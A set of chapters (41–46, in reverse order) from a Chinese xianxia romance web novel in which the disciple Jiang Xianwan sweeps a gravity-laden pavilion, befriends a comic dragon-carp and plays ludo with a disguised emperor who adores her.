他爹是个情种,心早已随着他早死的娘去了,留下的不过就是一张没用的皮囊。 他故作轻松地道:“你别管,大不了死,反正他活该。” 江献晚垂眼思索。 妖帝修为跌落,天狼一族实力不容小觑,想要篡位,恐怕妖域很快会内乱。 不管是帝休之果,又或者灵泽之露,两位帝尊手里才有的稀罕东西,这条路,妖域走不通。 江献晚再了解风回雪不过,一听就知道定然还有其他办法。 她将手里随手捡来的树枝咔嚓一折。 炉鼎。 绝品炉鼎。 风回雪不提炉鼎之事,不过是怕她多想。 那便只能将希望放在帝休之果或灵泽之露上。 倒是没纠结帝隐有灵休之果,当时有没有自个吃吃看,是否能清除秽气。 以两境与三域早已不相往来,见面就往死里掐的关系。 加之云为泽虽看似祥气一团,骨子里并没有表面那般随和,比帝隐冷漠了不止一星半点。 第 46 章 飞行棋 江献晚无语的回到隔壁院子,洗了个澡,准备折返水榭。 吃饭的功夫,她问过别的弟子,她在水榭待了四日,外面却只过了一天时间。 这么好的时间辅助,蹭蹭没坏处。 一入水榭,那股重力再次袭来,江献晚步步艰难,以一种蜗牛爬行的速度来到凉亭。 此刻,月华如轻纱落了男子半身,碎银似的流光从袖口一路漫上眉梢。 景长老似乎从她走后都未挪动,听到动静,乌睫轻抬,向她看来。 江献晚纠结一瞬,举步上了台阶,迈入凉亭。 拿出一碟从膳食堂打包的糕点,和一瓶江行行平时喝的果汁。 “多谢景长老指点,弟子不知您喜欢什么,不过,这糕点和果汁不错,您,要不要试试?” 她没好意思掏鹅腿,麻辣牛肉干之类的。 这般雪堆玉雕的一个,她委实想不出左手鹅腿,右手牛肉干的样子。 只能捡仙气飘飘,口味清淡的。 帝隐视线一垂,落在碟子中四枚形状颜色不一的点心,还有青色淡淡的果汁,有些诧异和恍惚。 随之而来的是,心底骤然掀起的波澜,还有瞬间挤满胸腔的难以言喻的欢喜。 晚晚,给他的! 帝隐早已不食人间烟火,此刻却很想尝尝。 他小心的捏起一枚莲花状的糕点,尽量将声音放的温和,“要。” 江献晚看的自叹佛如。 瞅瞅,人与人差距咋这么大呢! 若是她和小师兄,早一手鹅腿一手酒杯。 再看景长老,吃枚糕点都格外赏心悦目,令人折服。 “你吃的什么?” 玉落溪泉般的声音落在耳畔,正神游天际的江献晚,下意识回答,“鹅腿,蟹面,麻辣鱼片,辣炒鸡丁,还有两个煎蛋。” 说罢,后知后觉,把自己给干沉默了。 谁能想到景长老会问她吃的什么,她想也没想就秃噜出来了。 不过,见景长老听她报菜名时细微的反应,江献晚心中微微一动。 他怕不是也喜欢,不好意思说吧? 心底暗自思忖下次若是带几个小菜,景长老吃的可能性有多大。 只是,她实在想象不出,这样一个男人,一脸清冷的吃那些荤腥肉食会是什么样子。 当即掐灭了带菜的念头。 帝隐细细凝视着少女掰着手,分享的模样,有些晃神。 前几日秘境之中,他对江献晚有了更新的认知,没有觉得不对,反而有本该如此的理所应当。 靠近真实的江献晚,心境亦是有所不同,天翻地覆。 从前,他们之间除了做那些事,极致缠绵,对彼此每一处再熟悉不过,却从来没有这般纯粹的相处过。 江献晚也不会例行公事般过分客气,很有距离。 这种感觉,很新奇,比想象中的还要好。 让他难以自控,张牙舞爪的雀跃。 帝隐如是想。 是的。 雀跃。 他将糕点一一吃了,又拿起手边的果汁。 江献晚复杂的视线落在被润湿的薄唇,攒动的喉结,慢慢别开了脸。 帝隐收起帕子,阔袖拂动,光泽水纹般粼粼曳出一抹流纹,朝她伸出一只手,温声道:“甜的。” 江献晚怔了怔。 看着他手中半个拳头那么大,圆滚滚的白色水果,一时间还真没看出这是个什么东西。 没多想,道了声谢,只是她刚接过,便下意识的想推回去,“这个太贵重了,弟子不能要。” 仅仅拿在手里,浑身就一有种被舒适的水流包裹的感觉,这个水果,明显有温养修复神魂之效。 龙鲤探出脑袋,浮在水面默默吐泡泡。 它的鱼脑好像又不够用了! 谁来敲晕它啊! 主人竟然把两百年才结三颗的帝休之果,给江献晚当餐后水果了?! 它那么大一个媳妇,这下真的没了! 帝隐眸光飞快掠过少女娇嫩的红唇,耳尖涌上浅浅的桃花色,“不必多想,这种灵果常见。” 怕她再说拒绝的话,忙继续道:“下棋吗?” 江献晚睫毛轻垂,眼角掩下眼底的复杂。 抬眸时,神色如常,“弟子不会。” 帝隐:“……”失策。 懊恼的蜷缩紧指尖,“你会什么棋?” 言罢,又是一阵后悔。 晚晚,会不会认为他是在嘲笑她? 帝隐紧张的手心湿黏,眉眼跟着染上一丝慌乱。 江献晚沉默一瞬,“飞行棋。” “飞行棋?”帝隐陡然雀跃,“何为飞行棋?” 看着景长老那流露出期待的模样,江献晚怀疑自己是不是眼睛有问题。 她很干脆的掏出特意定制的棋盘,一手水果,一手骰子,开始讲解。 “很简单的,飞行棋是一种竞技棋,通过骰子移动棋子,终点先赢。” 说着,投掷骰子做示范,又将起飞规则,连续投掷规则,跳跃规则这些讲了一遍。 帝隐笑眼道:“来。” 江献晚也不扭捏,将骰子递给他,“您先。” 帝隐接过,指尖不可避免的触碰到少女细腻温暖的指尖,僵硬了一下。 江献晚并未察觉,认真地看着他将骰子轻轻一掷。 六? 运气真好。 江献晚捏过骰子,强忍着那股重力,用力掷出。 眉心重重一跳,手里的水果都不甜了。 一! 再来。 六。 一! 继续。 六。 一! 六。 一! 输了不知多少次后,江献晚咬牙切齿,眼冒绿光,“再来!” 帝隐:“……” 他乌睫轻颤,唇角勾起细微的弧度,眼尾似乎也染上欢愉的笑意。 她凶的样子,好可爱。 帝隐从睫毛下瞧瞧觑她咬牙掷出骰子,掩在阔袖中的指尖忙跟着一动。 果然。 少女惊喜低呼出声,“六!” 江献晚激动地泪流满面。 她确定了,景长老,克她! 帝隐若是知道她的想法,只怕会晴天一个大霹雳。 江献晚终于赢了一次,立刻无赖地将棋盘一收,练剑。 只是当她拿出一把给江行行削的玩具木头长剑,咚地一声,熟稔的趴在了地上。 帝隐克制的垂下抬起的手,暗暗朝在察觉江献晚掏出一把剑而醋的轻颤不止,恨不能飞出来,一头扎进江献晚怀抱的长剑,发出一道威压。 他默默站在那里,情绪在月色中瞧不清晰。 江献晚还没有一把属于自己的剑吗? 所以在秘境,才会拎着锅一直跑。 帝隐翻腕,一把剑身通体透明,凝聚浩瀚星辰之力的长剑落于手中。 万物生一出,空气为之扭曲割裂。 一股极恐怖的力量漫卷,江献晚下意识回眸。 “给。” 帝隐不知何时来到她身前,骨节修匀的手掌握着剑柄,往前一送。 万物生:……你就这么把我给她了!啊啊啊啊啊啊! 江献晚哪里能接,直摆手,“不不不,不用,弟子用这个就好。” 笑话! 剑是老婆。 她怎么能摸人家老婆! 再者,她连木剑都拿不起来,练毛的剑? 第 45 章 伤感情 帝隐:“……” 喜欢它? 龙鲤鱼脑不大,心眼却死。 一直待在巫云殿后的雪山,没见过江献晚的真实模样。 帝隐觉得很有必要说明。 谁才是先来后到。 “她早已是吾榻上之人。” 龙鲤:“……” 它咻地冒出头,看向正艰难抠扫把的江献晚,“不可能!主人除了那个丫头片子,何时认识……” 鱼说着,一僵,鳞片都炸了,“她,她是那个炉鼎?” 帝隐不悦,“她是晚晚,不是炉鼎。” 龙鲤大惊失色:“不是早早吗!怎么又来一个晚晚!” 帝隐:“……” 这龙鲤除了打架睡觉,是个没脑子的。 指尖一弹,一道噤声法诀落在龙鲤身上。 另一边,江献晚蹲在地上,看看纹丝不动的扫把,再看那片看似轻飘飘,却仿佛千斤重力的竹叶,脸上全是怀疑人生的表情。 为什么! 她竟然连一片竹叶都捏不起来! 江献晚擦掉汗水,咬牙,撸起袖子,露出一截雪白的皓腕,十根手指头抠着树叶,使出吃奶的力气。 “嘿!” 竹叶纹丝不动,跟她对着干一般。 提气,再抠另一片。 叶子终于被她抠下来一块碎片,江献晚用力过猛,一屁股蹲在了地上。 登时眉尖一抽。 就说没有好扫的地! 她麻木的就地而坐,怎么都想不到,有朝一日,她江献晚连一片叶子都扫不起来。 可想而知,方才那位景长老云淡风轻的模样,修为是有多变态。 她就不信了! 别人是撞了南墙就回头,江献晚是撞破南墙继续撞,越挫越勇。 神识拂过竹叶,垂眸凝神思索。 千叶万声,随细风簌簌。 竹叶飘旋,在半空中形成一道气旋。 江献晚伸手去接。 下一秒,手臂咚地砸在地上,整个人向前栽去。 真、沉。 她咬紧牙关,极力调动灵力。 顶着那股高强压的力量,灵力缓慢游走于经脉。 帝隐轻抵斑竹凭几,雪袖垂落似云霭漫卷,宛如披着九天清霜。 他始终注意着江献晚,眼底逐渐掀起细微的涟漪,一层一层晕染开来。 三年有余,再见,仍是血流湍急,心头鼓噪。 一如从前体内浊气未清之时,不甚平静。 帝隐眉眼间多了两分恍惚。 三年不过弹指之间,他却觉得时间久远了些,又好似昨日。 江献晚每次去巫云殿的穿着都镌刻于心,无比清晰。 一样,又不一样。 他静静凝视着近在眼前的那道身影,双眸光泽愈灿,有什么东西来回激荡,薄唇便忍不住轻轻勾了勾,笑若朗月。 龙鲤一个脑袋两个大。 拿鱼鳍去揉鱼眼的冲动都有了。 主人,笑了? 娘呀! 谁来告诉鱼啊! 他为什么要笑啊! 太特么吓鱼了! 江献晚大汗淋漓,气喘吁吁,终于捏起……一片竹叶。 咬着后槽牙,卷翘的睫毛一抬,顿时尴尬的无地自容。 景长老在看她。 还有,方才那笑……该不会是在嘲笑她是一个小废物吧? 江献晚其实很要强,骨头打断,都不会吭一声的那种。 掩饰似的轻咳一声,抖着两条琴弦似的腿爬起,一步一个脚印,磨磨蹭蹭来到凉亭前。 雪堆似的人,与她的狼狈形成鲜明对比,难得脸红了一下。 “景长老,弟子修为不精,恐怕不能胜任,要不,您,再找一个?” 这钱她真的一点不想挣了! 主要是太丢脸。 还不如打她一顿来的痛快! 望着局促的少女,帝隐指尖亮起一拢微光,轻轻卷着飘然将坠的竹叶捏在指尖。 “你可以的。” 顿了顿,补充道:“两月之后两境大比,这个地方于你有益,突破元婴不成问题。” 江献晚只差临门一脚。 重要的是,他怕江献晚又要跑。 龙鲤:“……”好长的一句话啊,它都听累了。 江献晚仔细观察他手中的灵力,眸光微转,“多谢景长老指点。” 此处一花一叶内有乾坤,她为了捡起一片竹叶,几乎耗尽全部的精神力。 强压下,丹田经脉乃至神识都隐隐有凝实开拓之势。 江献晚倒不在乎能不能在此处修炼,无非是多卷些天的事,不拒绝是心中有其他计较。 帝隐见她垂着眸若有所思,生怕被一口回绝,手指紧张的动了一下。 “晚晚。” 江献晚一愣,对上一双清寂的双眸。 “留下。” “啊?” 江献晚下意识应声,随后像是并未察觉出任何不对,整个人明滟生动起来,“弟子一定争取拿下第一,杀的北境片甲不留!” 两境大比,南北两境六大宗皆会挑出一支最优秀的小队伍,进入虚古境。 帝隐霎时松了一口气,蜷紧的手指放松,唇角轻弯,“好。” 龙鲤:“……”这世界,癫了吗? 北境帝尊手把手教南境弟子,帮南境将北境杀的片甲不留? 鱼脑又不够用了。 江献晚精神抖擞,开始……打扫卫生。 帝隐端坐着,指尖的棋子始终没落下。 他不开口,江献晚也不问他,自己在那瞎琢磨。 两个时辰下来,虽行动缓慢,已经能轻松托举起竹叶。 江献晚成就感爆棚,接下来,全身心沉浸在……捡树叶上。 不知过去多少时间,满地的叶子全部不见。 帝隐适时的发出一声轻微动静,江献晚才发现不知不觉已是晚霞漫天,余晖倾洒。 准备起身告辞,却听景长老道:“晚饭后,来习剑。” 江献晚有准时吃饭的习惯。 不同她直说,只怕一去不回,又或者回的晚。 他不想一个人待在这里。 “还有,从今日,你住侧殿。” 默然须臾,生怕她不愿,解释道:“有助修行。” 江献晚:“……?” 景长老看来比她还努力啊,这么想让她将北境杀的片甲不留? 江献晚低头应是。 出了水榭,那股重力消散,浑身陡然一轻,两只脚像踩在棉花上。 她扫了一眼掩在霞光中青翠群峰,直奔着炊烟袅袅去了。 没有三个师兄在身边,很不习惯,倒并不孤单。 抛开那些参加大比的弟子,没被霍霍的弟子对她格外热情,一顿饭吃的热热闹闹。 江献晚收到传信,打包几份小菜,去了凤仪台。 以为花不休怎么着会问她点什么,谁知他眼睛里只有那坛桃花酿,不耐烦的让她赶紧走人! 第 44 章 抢老婆 江献晚继续苍白着小脸,做出一副被拒绝的伤心绝望,“原是我不配。” 龙鲤:“……” 帝隐回来时,看到的便是龙鲤肉疼的用脑袋顶着四枚鱼鳞,热情地直往江献晚手里推。 一边推一边说:“好了好了,虽然你得不到我的身体,但是能得到我的鳞。” “虽然你对我一见钟情,可我真的不是随便的龙鲤。” “当然,我不是说你随便哈,也是怪我,魅力太大,你才会无法自拔的迷恋我。” “要不,我们先相处一下,你看这样行吗?” 帝隐:“……?” 喝杯茶的功夫,被偷家了? 还是他亲手养大的龙鲤? 江献晚手一抹泪,抽噎着,勉强接过那四枚鳞片,“那好吧。” 说罢,泪珠跟断了线似的。 嘶~ 洋葱抹多了。 真辣。 龙鲤神色复杂,摇头晃脑,发出一声百转千回的长长叹息。 唉。 它这该死的,无处安放、无与伦比、无法无天的魅力啊! 江献晚眼泪汪汪的把五枚鳞片收起来,显然入戏太深,没有察觉身后有异。 她坚强地缓缓起身,留给鱼半张脆弱苍白的侧脸,嗓音苦涩,“我想静一静。” 她师兄不让她跟傻子玩。 当然,也包括傻鱼。 龙鲤一脸担忧的看着她,“我不接受你,你该不会想寻死吧?” “要不,我勉为其难答……” 江献晚:“……?” “龙鲤。” 一道清冽如雪的声音,滚过耳畔,令人心头为之一振。 一人一鱼齐刷刷扭头。 龙鲤瞪大了鱼眼。 江献晚则是一愣。 一眼撞进那繁郁似紫雾,飒飒紫竹下立着人眼中。 那是一双完美,无可挑剔的眸子,淡若琉璃,空寂静谧。 江献晚不动声色打量着他。 来人雪衣乌发,袍身绣着繁复华丽的银色祥云纹路,广袖及地,流泻如水如月华。 泼墨般长及足踝的墨发,流淌过柔软飘盈的衣料,仅用一条雪色的发带在精瘦的窄腰处堪堪一束。 纤长墨黑的乌睫如同鸦翅,眼角微微上挑,糅合了三分风情和七分清冷两种南辕北辙的气质。 仙姿佚貌,仙气渺渺,画里走出来的一般,浑不似真人。 很容易叫人脑海中浮现一个画面—— 高坐神坛,一柄长剑诛尽天下邪祟,不食人间烟火的神明。 同云为泽气质截然相反,但给人的感觉,同样是一种令人望而生畏,高不可攀,不可触及的存在。 帝隐立在原地,紧张的呼吸也凝滞,掩在雪袖中的指尖微微一蜷。 往事滚滚,自岁月席卷,汹涌叫嚣着涌入神魂。 竟不知现在是何种心情。 未语,未动。 雪似的眸子安静地落在江献晚面颊,掌心却是不自知的沁出薄薄的湿汗。 少女换了新衣,缥缈的青裳,同她三位师兄一样。 紧束的袖口衬得露出的肤色愈发如白脂膏般柔腻,乌发利落高束,青色丝带垂直发尾,随风微微晃动。 长腿细腰,因腰肢过分纤细,腰带紧缠了三圈,淋漓尽致。 瘦了。 的确是瘦了。 帝隐神色恍惚的凝视着那总是透着几分冷淡的双眸,一眼便引人入魂。 江献晚很快回神,仙气飘飘的弟子礼捻的不忍直视。 实在是,在破山头,他们四个一见到花不休皆是反射性的逃跑,戒备,根本从未有这般彬彬有礼的机会。 “弟子江献晚,见过……前辈。” 合着,不是伺候龙鲤。 江献晚唇角轻轻动了一下,尴尬的打招呼。 帝隐睫毛轻垂,眼角压下眼底的情绪,攥紧了细微颤抖的指尖,声如山涧清泉,“不必拘礼,唤我景行便好。” 字景行。 龙鲤一双鱼眼刷地一下,恨不能瞪出来。 主人的银发呢? 主人为何同她说字? 主人是不是有病? 诸多疑问在即将脱口而出的那一刻,对上那看似无喜无悲的一眼,龙鲤吓的脑袋一缩,闭紧鱼嘴。 脑子本就不多,这会更不够用了。 江献晚捏着五片鱼鳞有些心虚,也不知道他听到了多少。 这鱼不会是他的灵宠吧? 不管了。 鱼非塞给她的。 江献晚定了定心,观他气质超然,一看便是高高高高人,人家客气一下,她哪里敢不要命的喊名字,于是礼貌地道:“景长老。” 帝隐:“……” 跟云为泽也没这般礼貌啊。 帝隐心中竟再次生出一种陌生的感觉。 这种感觉……不喜欢。 他衣摆曳着细碎的光芒如轻烟划过,举步走到池塘边凉亭,落座。 “坐。” 江献晚微怔,礼貌地拒绝,“弟子奉命来洒扫,就不坐了。” 说着,不等他再开口,艰难地拔腿,去拾扫把。 帝隐:“……” 龙鲤鱼鱼祟祟飞过去,很小声地道:“主人,您什么意思?” 为什么告诉她他的字,还让她坐? 为什么? 主人从来不跟人说半个字的废话的! 尤其是女的! 帝隐浓睫一垂,看它。 龙鲤眼睛倏地一亮,像是想到什么,尾巴摇的欢乐无比。 “您不会是因为她喜欢我才对她另眼相待的吧,您是不是也很赞同这门亲事?” 帝隐:“……” 亲事。 他眸色凉了三分不止,抬指,一记流光将龙鲤打回池塘。 阳光下,侧过清冷的侧脸,薄唇轻启,嗓音低缓,自带警告,以密音传去,“她是吾的。” 龙鲤:“……!” 谁的?! 是谁的?! 龙鲤翻着肚皮躺在睡莲上,鱼脑飞速旋转。 主人和它抢老婆? 可江献晚喜欢的是它啊! 强扭的瓜不甜,就算他是主人! 委委屈屈,“可她喜欢我,聘礼我都给她了!” 它也不是不能接受。 它的鳞,独一无二,没给过任何人。 一下给了江献晚五片呢! 它好不容易喜欢个人,本来打算装模作样考虑两日就答应她,主人竟然跟它抢老婆? 太坏了! 帝隐指腹轻轻一蜷,“龙鲤,吾不想刮了你的鳞。” 龙鲤:“……” 龙鲤鳞片炸起,不敢忤逆他,又委屈的不行,脑袋猛地往水里一扎,“我好不容易喜欢个人,您就跟我抢!” 现在好了,主仆好不容易都动了情,结果喜欢的是一个! 多伤感情啊! “总得有个先来后到吧!您这是夺鱼所爱!她喜欢的是我!” “是我!!!” 第 43 章 这鱼吃了影响智商 江献晚抽了抽唇角。 不会是要她给一条鱼当保姆吧? 这年头,鱼都有保姆了? 龙鲤见她色眯眯的盯着自己不说话,尾巴一甩,水珠呼啦啦扇她脸上。 鱼脸写满嘲讽,“看什么看,没见识的土包子!” 土包子·江献晚神色愈发古怪,“你的角是真的?” 龙鲤脑袋高傲一抬,“哼。” 江献晚:“我不信,除非你让我摸摸。” 这大胖鱼长得可真白,连角都是白的,一看就很嫩很好吃的样子。 脑中瞬间闪过十几种鱼的做法。 煎炸蒸煮,爆炒清蒸。 “你说什么?”龙鲤以为自己听错了,瞪大了一双鱼眼,“摸、摸我……” 它气的鱼鳍哆嗦,就要狠狠抽给她一尾巴,被一张网兜头迎面罩上。 嘴里还继续着没说完的话,“的角?就你,你知道我是……呜啊!” 还没反应过来发生了什么,整个鱼被一双温暖的手接住,两只角紧跟着一痒。 龙鲤:“……!!!” 它愣愣地躺在网中,鱼眼瞪的滚圆,倒映着上下其手,面露疑惑的少女。 不是。 它这般勇猛凶狠的龙鲤,被一张破蜘蛛网给捞上来了? 它高贵又漂亮的小角,还被一个小丫头片子给摸了? 同样震惊的还有江献晚。 这两只龙角,竟然是真的! 那这玩意,算龙还是算鱼? 果然,玄幻世界的稀罕玩意和变异物种是真多啊。 江献晚还没感慨完,一股冰寒刺骨的凉意从指尖蔓延开。 低头一看,柔韧的蜘蛛网,眨眼间凝上一层冰,迅速蔓延至她抱着鱼的双手。 真特么……冷! 龙鲤整条鱼都在哆嗦。 它不仅被抱了,高贵的肉体被摸了,更可恶的是还被一张破蜘蛛网给捕了! 从来没被其他人摸过的龙鲤,一个鲤鱼打挺,撞碎蜘蛛网,朝江献晚喷出一个泡泡。 那泡泡明明看起来无害,可江献晚却感受到一股恐怖的冰雪之力,慌忙就地……慢慢一滚。 实在是她想滚的快点,根本滚不动! 江献晚震碎双手冰霜的同时,一沓火符在泡泡贴来的那一刻及时掏出。 “刺啦——” 两厢撞在一起,像是烈火遇到冰雪,化作朦胧烟雾。 龙鲤大怒,张大鱼嘴,再次吐出一连串泡泡。 江献晚果断拎出一麻袋火符,抱在怀中。 龙鲤:“……” 它从没见过这么狗的人,气的扑棱着鱼鳍飘在半空中,命令道:“拿开!” “那可不行。”江献晚悠然自得的坐在地上,“一条鱼脾气怎么这么暴躁?” 心中暗暗确定,大胖鱼拿来爆炒再合适不过。 鱼? 龙鲤先是愣住,而后大怒,“你说我是鱼?” 死丫头,眼睛长屁股上了吗? 它是鱼吗! 它可是龙鲤! 江献晚狐疑地瞅它一眼,眼睛里分明写着:你不就是条鱼? “鱼个头!” 龙鲤受到天大的侮辱,想抽她一尾巴,又怕抽死她,闯了祸,主人会罚它。 气鼓鼓的瞪着一双鱼眼,口水喷她脸上,“你是不是瞎?你见过哪条鱼长我这样?!” 江献晚又认真盯了它三秒,龙鲤拧着身子,三百六十度无死角展示肉体,尾巴恨不得甩她脸上,试图让她睁大眼好好瞧瞧。 看吧,仰视它高贵的身躯,尊贵的角角。 颤抖吧,人类! 龙鲤果然看到江献晚眼中露出痴迷的神色,还有嘴角的……口水? 不是,她已经被它震撼到流口水的地步了吗? 果然,它龙鲤地位超绝,尊贵无双。 看在她这么崇拜自己的份上,勉强原谅她……嗯? 江献晚咕咚咽了一口口水,喃喃开口,“真肥。” 她还是喜欢辣的。 真、真肥? 龙鲤整个僵住,“你、你说什么?” 江献晚回过神,对上一双瞪的快要蹦出来的鱼眼睛,义正言辞,“我说我胆真肥。” 竟然想吃太虚宗的镇山灵兽! 龙鲤满意地点点头,“你知道就好,还有,你刚才拿那破蜘蛛网兜我,你要道歉!不然我……” “不是你让摸的吗?而且,我摸你还不是因为你太美。” 江献晚忽然打断它。 在龙鲤错愕的目光中,看了一眼碎成渣的蜘蛛网,倒打一耙。 “我一见您,不知为何,情难自禁,就很想瞻仰一下您伟大的肉体。” “虽然我有错,可您就没错了吗?” “您错就错在自己长得这么威武雄壮而不自知!” “我原以为您是一条心地善良的鱼,不会计较我激动之下的崇拜。” “谁知,您上来就朝我脸上吐,还撞碎我大师嫂送给我的礼物。” 说着,江献晚面色苍白,往地上一躺,似乎一颗心碎成八瓣,“我的心也跟着碎了。” 龙鲤瞪着眼睛,“情、情难自禁?” 原来她第一眼就被它迷人的身躯深深折服。 只是太崇拜它,迷恋它,才用网兜它,想要摸它。 倒算是情有可原。 啧~ 没办法。 谁叫它龙鲤大人如此尊贵迷人。 魅力大,真的好苦恼! 龙鲤瞅了瞅碎成冰渣的蜘蛛网,浑身的冰雪之力忽地散去,有些不好意思,“那个,我又不是故意,还不是这网太脆弱了。” 话落,见江献晚伤心的抬手遮面,心底涌出深深的自责。 好歹是人家大师嫂送的,它撞碎人家的网,确实不对。 这小丫头又这么崇拜它。 “这样吧,你别伤心了,作为补偿,这个送给你。” 正强忍笑意的江献晚挪开一点手指,诧异地看着一片漂浮在眼前,光华流转的鱼鳞,受宠若惊,“给我的?” 龙鲤浑身涌上一层鲜嫩的淡粉色,傲娇地仰头,“嗯,赏你的,放好了,我的鳞可不是谁都能拥有的,比你那破……比你那网强一万倍。” 想了想,纠结地道:“虽然你很喜欢我,但是咱俩不一个物种,你……” 龙鲤此刻已是胭脂色,它含糊不清,扭捏的摇晃着尾巴,“你莫要太迷恋我,我,我……我们不合适。” 它偷偷看了一眼捏着鳞片发呆的江献晚,不忍心再打击她,生怕她会因得不到自己而想不开。 江献晚:“……” 这鱼吃了,会不会影响智商? 倒是这鱼鳞一看就是好东西,要是能多要几片给师兄和江行行就好了。 第 42 章 拿颜面扫地 江献晚未语,在云为泽沉默的注视下,起身来到亭中,将桶放在桌上。 推开面前显然被人用过的茶盏,拿了新的,往前一推。 “那就喝水吧。” 云为泽:“……”默默满上。 江献晚连喝三杯,问,“帝尊,弟子去哪扫地啊?” 云为泽:“……你怎么知道我是帝尊?” “您那天不是说话了吗?” 云为泽:“……是。” 手撑累了,又换了一只手,“你的脸,画的?” 她竟一点不怕他。 还很是放松的样子。 同旁人见到他万分恭谨的模样,天壤之别。 竟觉得……没毛病。 毕竟,她可是睡了北帝尊一年,都敢拍拍屁股跑路。 又是他哥一手教出来的,可想而知。 云为泽这两日没少向帝隐八卦,只是帝隐此人,性子闷,话少,跟个锯嘴葫芦似的。 他暂时拿不定,这两个炉鼎是怎么一回事。 不确定,需要再看看。 江献晚摸了摸脸,“您看出来了?” 云为泽:“嗯。” 险些没看出。 江献晚静默片刻,“弟子去哪里扫地?” 云为泽:“……” 无言几息,指尖轻抬,“那里。” 江献晚顺着他的视线,唇角一抽。 那山头,可真偏。 收起桶起身。 “弟子告退。” 云为泽轻轻挑眉。 她就不问问为什么吗? 不好奇给谁扫地? 就这么走了? 他一双莹润的眸落在少女背影,阔袖下指尖微动。 却见她走了两步,忽然回头。 手一伸。 云为泽:“……”这伸手的样子,为何这般熟悉? 果然,江献晚睁着无辜的眸子,认真道:“帝尊,您不给弟子见面礼吗?” 云为泽:“……”就知道,跟他哥一个死出。 他从衣袖勾出一个芥子囊,唇角弧度清浅,“我以为你不想要。” 江献晚两步跑回来,接过芥子囊,并没有走,顺着杆子往上爬,“帝尊,您是不是还忘了些什么?” 云为泽沉默。 好吧,他已经很了解江献晚的脑回路了。 不过,他方才确实想逗逗她。 见她满眼含着期待,云为泽唇角一弯,再忍不住轻笑一声,从阔袖中勾出三个芥子囊。 “自然,都有的。” 江献晚心花怒放,她从未见过如此上道,且大气之人! 不客气的接过,“多谢帝尊!帝尊可太好了!” 这点,比整日就知道坑他们的花美人靠谱多了! 云为泽记不清听过多少恭维的话,不知为何,从来没有觉得这般顺心愉悦过。 勾唇又笑,“我好?” 江献晚点头,“好。” 她很相信眼缘,第一眼就觉得云为泽人很好。 虽然南帝尊的真面目,如花似玉,月下玉昙般,颠覆心目中的想象。 超乎预料的感觉,倒也不错。 于是乎,对美人多了一分天然滤镜的江献晚,大方的掏出两罐糖浆蜂蜜。 “回礼。” 云为泽似乎是第一次遇到有人给他回这种礼。 微微诧异的眸光从少女脸上,转落在两个精致的瓷罐,竟是恍惚一瞬。 而后愉悦的笑出声,“回礼不错,吾收下了。” 既然收了她的东西,那以后,理所应当,合该是他云为泽护的了。 江献晚并不知道这一个吾意味着什么。 却因这个字,眼底掠过一丝微不可察的莫名神色。 云为泽目送江献晚离开,宽袖一拂,收起两个小罐子。 收的慢了,帝隐怕是不会留给他。 礼收了,往后歪靠,垂落一双睫羽抚平衣袖上一痕浅浅的褶皱,“说真的,我后悔了。” 帝隐雪衣如烟掠地,落座,修长的指摆弄着棋盘,垂眸不语。 看着他万年不变的寡淡表情,云为泽好心情去了八分。 难怪江献晚跑,谁愿意整日对着一块笑都不笑,话说不了两个字的冰块。 江献晚生龙活虎,脑子跳跃,喜欢热闹,同帝隐性格南辕北辙,实在想不到两人是如何相处的。 想到帝隐的所作所为,云为泽觉得真真是有趣。 服了灵丹遮掩发色,躲起来,不见江献晚,更不敢见凤仪。 尊贵无上的帝尊何时这般放低姿态,瞻前顾后。 “怕她跑?” 帝隐动作微凝,重睫缓缓掀起,神色仍万年不变的寡淡无痕。 只是说出的话很是古怪。 “云为泽,她是我的。” 云为泽蹙眉。 然,南帝尊并不懂风月。 简洁回道:“拭目以待。” 另一边,江献晚越往里走,逐渐看不到其他弟子的影子。 除了虫鸣鸟声和时不时蹿来蹿去的小兽,人迹罕至,无人问津。 她深深吸了一口气,拿扫把当拐杖,继续往上爬。 谁家好人住这么鸟不拉屎的地方啊,虽然眼前的水榭很奢华。 更想吐槽的是。 当她的手掌贴在门上之际,体内灵力刹那间被压制全无。 险些以为自己春潮期又犯了。 不仅灵力阻塞,浑身更像是扛了一座山,双腿灌铅一般。 江献晚堪堪踏入水榭,古怪的重力陡然铺天盖地,劈脸而来,差点压的她双膝跪地。 她扶稳了一只粗壮的紫竹,放眼看去。 此处古朴清幽,三间紫竹搭建的房屋,一片占地极为广袤的莲花池,睡莲浩浩荡荡,织锦灿烂,灼灼其华。 灵气异常浓郁纯粹,挤着往体内不要钱的钻。 仿佛连风的速度也因无形的重力慢了下来,有了形状。 就好像这里的时间,比外面慢上三倍不止。 江献晚两条腿抖的跟面条似的,奋力举步。 等她蹭到莲花池边,终于扛不住那股诡异地力量,双腿一折,扑在地上。 就知道一百块灵石不是好拿的! 她连站立着都费劲,扫把都拎不起来,拿什么扫地? 拿颜面扫地吗? 江献晚面颊沁出一层热汗,咬牙,两手撑着膝盖,抖着腿想要站起来。 下一秒,再次扑了个大马趴。 “噗!” 远处传来一声模糊的十足嘲笑。 江献晚艰难的转过头,“谁?” “笨蛋!” 又是一声。 江献晚寻声望向池塘中的睡莲,不由瞪大了眸子。 这大胖鱼……怎么游的这么快? 还有,她竟然从一条鱼的脸上看出了讽刺? 江献晚默默的盯着那白白胖胖,脑袋上顶着两只小角,闪闪发光的大白鱼,头上爬出一个问号。 鱼怎么会有龙角? 这是鱼还是龙? 白色的龙鱼? 难不成是太虚宗的镇山灵兽,祖宗级别的? 第 41 章 南帝尊 因着风回雪和江行行离家出走一事,江献晚委婉的拖延了对三个师兄的邀请。 三个少年表示心情很不美丽,更糟心的还在后头。 尤其是江献晚。 第二日,太虚宗的胖仙鹤飞来破山头,扯着脖子催促半天。 四个心情不美丽的人被忍无可忍的花美人压到了隔壁。 听到需要进百剑窟的消息,林玉锦哭丧着脸,恨不能将身上新换的,代表着凤仪台亲传的青衣扒下。 “别了吧!我不喜欢睡山洞!” 他是丹修啊! 苏清流和白子夜同时拎他脖领,拖走,言简意赅,“修炼!” 江献晚被点名留下。 略过翘着二郎腿,至始至终,舒舒服服窝在圈椅里的花不休,对终于露面的掌门徐燕洲,激动开麦。 “凭什么让我打扫卫生?上梁不正管我下梁什么事,我还没怪他把我带歪,花美……我师尊犯下的错,最后受伤的凭什么是我?” “弟子不服!” 正认真欣赏自己修长手指的花不休:“……” 徐燕洲听她嘚吧嘚吧,直接拿捏她的七寸,“一日一百块极品灵石。” 江献晚登时立正。 “算了,我师尊年纪大了,我还年轻,也不是为了钱,主要就是想体验一把扫地的感觉,交给我。” “哦,对了,钱直接给我。” 花不休:“……”给我爬。 徐燕洲:“……” 潋浮台。 